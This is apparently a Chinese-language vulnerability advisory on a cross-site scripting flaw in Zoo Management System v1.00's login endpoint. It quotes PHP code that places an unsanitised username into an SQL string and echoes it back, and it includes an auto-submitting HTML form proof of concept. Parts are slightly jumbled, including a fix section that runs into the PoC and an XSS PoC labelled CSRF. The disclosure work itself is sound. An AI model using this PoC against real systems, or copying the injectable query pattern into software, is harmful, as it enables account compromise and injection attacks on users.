项目 Zoo Management System v1.00 在 /zms/classes/Login.php?f=login 上存在跨站脚本攻击（XSS）漏洞，原因如下：
/zms/classes/Login.php?f=login 的 JSON 响应中使用了无效的 Content-type这使得未经身份验证的攻击者能够注入恶意的 HTML/JS，并在受害者浏览器中执行。
/zms/classes/Login.php
return json_encode(array(
'status' => 'incorrect',
'last_qry' => "SELECT * from users where username = '$username' and password = md5('$password') "
));
$username 参数在用于 SQL 查询或回显到响应时未进行清理，此同一缺陷此前已导致 SQL 注入漏洞（CVE-2025-7160）在 login() 函数中添加如下代码：
public function login(){
header('Content-Type: application/json; charset=utf-8');
extract($_POST);
<!DOCTYPE html>
<html>
<head>
<title>CSRF PoC</title>
</head>
<body>
<h3>Standard CSRF PoC</h3>
<form action="http://localhost/zms/classes/Login.php?f=login" method="post">
<input type="hidden" name="username" value="awdawdawdawdawaaaa$" />
<input type="hidden" name="password" value="awdawda" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
源代码可在此处免费下载：
https://www.sourcecodester.com/php/15344/zoo-management-system-phpoop-free-source-code.html
Muntadhar M. Ahmed (almuntadhar0x01)